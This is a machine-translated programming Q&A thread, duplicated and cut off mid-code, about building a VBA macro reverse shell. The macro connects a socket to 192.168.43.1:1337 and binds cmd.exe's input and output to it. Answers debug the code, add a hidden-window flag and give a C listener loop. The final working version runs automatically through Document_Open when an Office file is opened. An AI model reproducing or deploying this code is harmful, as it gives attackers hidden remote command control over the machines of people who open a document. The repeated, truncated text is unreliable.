VBA CreateProcess 将 StdIn 和 StdOut 重定向到 Socket？
VBA CreateProcessA redirect StdIn & StdOut to Socket?
所以我正在尝试编写 VBA 调用“CreateProcessA”以启动“cmd.exe”进程并将标准输入、标准输出和标准错误重定向到连接到远程计算机的套接字.
目前，除了输出没有重定向到套接字外，几乎所有东西似乎都在工作。当我 运行 代码时，它在远程计算机上显示已收到连接，但是 cmd windows 只是在 运行 宁 VBA 的计算机上打开，那就是它。任何人都知道为什么我无法重定向到套接字？我的代码如下。提前感谢您的帮助:)
Const ip = "192.168.43.1"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Const SD_SEND = 1
Const MAX_PROTOCOL_CHAIN = 7&
Const WSAPROTOCOL_LEN = 255
' Typ definitions ----------------------------------------------------
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr 'strptr
ai_addr As LongPtr 'p sockaddr
ai_next As LongPtr 'p addrinfo
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type WSAPROTOCOLCHAIN
ChainLen As Long
ChainEntries(1 To MAX_PROTOCOL_CHAIN) As Long
End Type
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End Type
Private Type WSAPROTOCOL_INFO
dwServiceFlags1 As Long
dwServiceFlags2 As Long
dwServiceFlags3 As Long
dwServiceFlags4 As Long
dwProviderFlags As Long
ProviderId As GUID
dwCatalogEntryId As Long
ProtocolChain As WSAPROTOCOLCHAIN
iVersion As Long
iAddressFamily As Long
iMaxSockAddr As Long
iMinSockAddr As Long
iSocketType As Long
iProtocol As Long
iProtocolMaxOffset As Long
iNetworkByteOrder As Long
iSecurityScheme As Long
dwMessageSize As Long
dwProviderReserved As Long
szProtocol(1 To WSAPROTOCOL_LEN + 1) As Byte
End Type
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
' Enums ---------------------------------------------------------------
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
' External functions --------------------------------------------------
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function ws_socket Lib "ws2_32.dll" Alias "socket" (ByVal af As Long, ByVal stype As Long, ByVal protocol As Long) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function Send Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal buf As String, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function Recv Lib "ws2_32.dll" Alias "recv" (ByVal s As Long, ByRef buf As Byte, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function SendWithPtr Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal bufPtr As Long, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function shutdown Lib "ws2_32.dll" (ByVal s As Long, ByVal how As Long) As Long
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (var() As Any) As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As LongPtr, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
Dim protoInfo As WSAPROTOCOL_INFO
'Socket Settings
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, 0, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
MsgBox "Error opening socket, error " & RetVal & WSAGetLastError()
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
MsgBox ("connect() to socket failed")
closesocket (m_ConnSocket)
End If
Loop
If Not connected Then
MsgBox ("Fatal error: unable to connect to the server")
'MsgBox (WSAGetLastError())
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim secAttrPrc As SECURITY_ATTRIBUTES
secAttrPrc.nLength = Len(secAttrPrc)
Dim secAttrThr As SECURITY_ATTRIBUTES
secAttrThr.nLength = Len(secAttrThr)
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd.exe", secAttrPrc, secAttrThr, True, 0, 0, Environ("USERPROFILE"), si, pi)
'MsgBox (worked)
If worked Then
MsgBox ("Worked!")
Else
MsgBox ("Didn't work")
End If
End Function
我可以使用 msdn 示例使其工作：Server and Client（在其中添加了创建 cmd 进程）。
我也可以在 VBA 中用你的样本重现这个问题。当我使用您定义的 WSASocketA 时，在 lpProtocolInfo As WSAPROTOCOL_INFOA
处出现编译错误
Compile error: ByRef argument type mismatch
由于是指针类型，我修改为ByVal lpProtocolInfo As LongPtr。
更重要的是，你设置了ZeroMemory后STARTUPINFO，那么你设置的句柄都会被丢弃。
把初始化放在开头：
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
那对我有用。
更新：
lpProtocolInfo As LongPtr你更新的代码里没有加ByVal，我可以用它来工作。
There is not enough space on the disk
这可能与您服务器端的字符串处理有关。您需要在发送的cmd 字符串中添加后缀“\r\n”。我使用msdn上的Server sample，修改do-while{}部分：
do {
Sleep(1000);
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
recvbuf[iResult] = L'[=11=]';
printf("%s", recvbuf);
}
char sendcmd[512] = { 0 };
fgets(sendcmd, 512, stdin);
int len = strlen(sendcmd); // "test\n"
sendcmd[len - 1] = '\r'; //"test\r"
sendcmd[len] = '\n'; //"test\r\n"
iSendResult = send(ClientSocket, sendcmd, len+1, 0); //without '[=11=]'
if (iSendResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
if (strncmp(sendcmd, "exit", 4) == 0)
break;
} while (iResult > 0);
此外，您可以为CreateProcess指定CREATE_NO_WINDOW，这样cmd windows就不会在客户端创建了。
结果（我在localhost:127.0.0.1测试）：
好的，所以我终于让它工作了。由于该线程中的一些用户，我遇到了一些能够解决的问题。首先，我必须使用 WSASocketA() 而不是 socket()，因为您不能将进程 IO 重定向到使用 socket() 创建的套接字。我遇到的其他问题是 VBA 和 C 类型之间的类型不匹配。下面是更新后的代码，这里还有一个 link 到 github 的代码：https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell
Const ip = "192.168.43.1"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr
ai_addr As LongPtr
ai_next As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
revShell = False
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
closesocket (m_ConnSocket)
revShell = False
End If
Loop
If Not connected Then
revShell = False
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
revShell = worked
End Function
Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function
Private Sub Document_Open()
Dim success As Boolean
success = revShell()
End Sub
所以我正在尝试编写 VBA 调用“CreateProcessA”以启动“cmd.exe”进程并将标准输入、标准输出和标准错误重定向到连接到远程计算机的套接字.
目前，除了输出没有重定向到套接字外，几乎所有东西似乎都在工作。当我 运行 代码时，它在远程计算机上显示已收到连接，但是 cmd windows 只是在 运行 宁 VBA 的计算机上打开，那就是它。任何人都知道为什么我无法重定向到套接字？我的代码如下。提前感谢您的帮助:)
Const ip = "192.168.43.1"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Const SD_SEND = 1
Const MAX_PROTOCOL_CHAIN = 7&
Const WSAPROTOCOL_LEN = 255
' Typ definitions ----------------------------------------------------
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr 'strptr
ai_addr As LongPtr 'p sockaddr
ai_next As LongPtr 'p addrinfo
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type WSAPROTOCOLCHAIN
ChainLen As Long
ChainEntries(1 To MAX_PROTOCOL_CHAIN) As Long
End Type
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End Type
Private Type WSAPROTOCOL_INFO
dwServiceFlags1 As Long
dwServiceFlags2 As Long
dwServiceFlags3 As Long
dwServiceFlags4 As Long
dwProviderFlags As Long
ProviderId As GUID
dwCatalogEntryId As Long
ProtocolChain As WSAPROTOCOLCHAIN
iVersion As Long
iAddressFamily As Long
iMaxSockAddr As Long
iMinSockAddr As Long
iSocketType As Long
iProtocol As Long
iProtocolMaxOffset As Long
iNetworkByteOrder As Long
iSecurityScheme As Long
dwMessageSize As Long
dwProviderReserved As Long
szProtocol(1 To WSAPROTOCOL_LEN + 1) As Byte
End Type
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
' Enums ---------------------------------------------------------------
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
' External functions --------------------------------------------------
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function ws_socket Lib "ws2_32.dll" Alias "socket" (ByVal af As Long, ByVal stype As Long, ByVal protocol As Long) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function Send Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal buf As String, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function Recv Lib "ws2_32.dll" Alias "recv" (ByVal s As Long, ByRef buf As Byte, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function SendWithPtr Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal bufPtr As Long, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function shutdown Lib "ws2_32.dll" (ByVal s As Long, ByVal how As Long) As Long
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (var() As Any) As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As LongPtr, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
Dim protoInfo As WSAPROTOCOL_INFO
'Socket Settings
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, 0, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
MsgBox "Error opening socket, error " & RetVal & WSAGetLastError()
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
MsgBox ("connect() to socket failed")
closesocket (m_ConnSocket)
End If
Loop
If Not connected Then
MsgBox ("Fatal error: unable to connect to the server")
'MsgBox (WSAGetLastError())
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim secAttrPrc As SECURITY_ATTRIBUTES
secAttrPrc.nLength = Len(secAttrPrc)
Dim secAttrThr As SECURITY_ATTRIBUTES
secAttrThr.nLength = Len(secAttrThr)
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd.exe", secAttrPrc, secAttrThr, True, 0, 0, Environ("USERPROFILE"), si, pi)
'MsgBox (worked)
If worked Then
MsgBox ("Worked!")
Else
MsgBox ("Didn't work")
End If
End Function
我可以使用 msdn 示例使其工作：Server and Client（在其中添加了创建 cmd 进程）。
我也可以在 VBA 中用你的样本重现这个问题。当我使用您定义的 WSASocketA 时，在 lpProtocolInfo As WSAPROTOCOL_INFOA
Compile error: ByRef argument type mismatch
由于是指针类型，我修改为ByVal lpProtocolInfo As LongPtr。
更重要的是，你设置了ZeroMemory后STARTUPINFO，那么你设置的句柄都会被丢弃。
把初始化放在开头：
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
那对我有用。
更新：
lpProtocolInfo As LongPtr你更新的代码里没有加ByVal，我可以用它来工作。
There is not enough space on the disk
这可能与您服务器端的字符串处理有关。您需要在发送的cmd 字符串中添加后缀“\r\n”。我使用msdn上的Server sample，修改do-while{}部分：
do {
Sleep(1000);
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
recvbuf[iResult] = L'[=11=]';
printf("%s", recvbuf);
}
char sendcmd[512] = { 0 };
fgets(sendcmd, 512, stdin);
int len = strlen(sendcmd); // "test\n"
sendcmd[len - 1] = '\r'; //"test\r"
sendcmd[len] = '\n'; //"test\r\n"
iSendResult = send(ClientSocket, sendcmd, len+1, 0); //without '[=11=]'
if (iSendResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
if (strncmp(sendcmd, "exit", 4) == 0)
break;
} while (iResult > 0);
此外，您可以为CreateProcess指定CREATE_NO_WINDOW，这样cmd windows就不会在客户端创建了。
结果（我在localhost:127.0.0.1测试）：
好的，所以我终于让它工作了。由于该线程中的一些用户，我遇到了一些能够解决的问题。首先，我必须使用 WSASocketA() 而不是 socket()，因为您不能将进程 IO 重定向到使用 socket() 创建的套接字。我遇到的其他问题是 VBA 和 C 类型之间的类型不匹配。下面是更新后的代码，这里还有一个 link 到 github 的代码：https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell
Const ip = "192.168.43.1"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr
ai_addr As LongPtr
ai_next As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
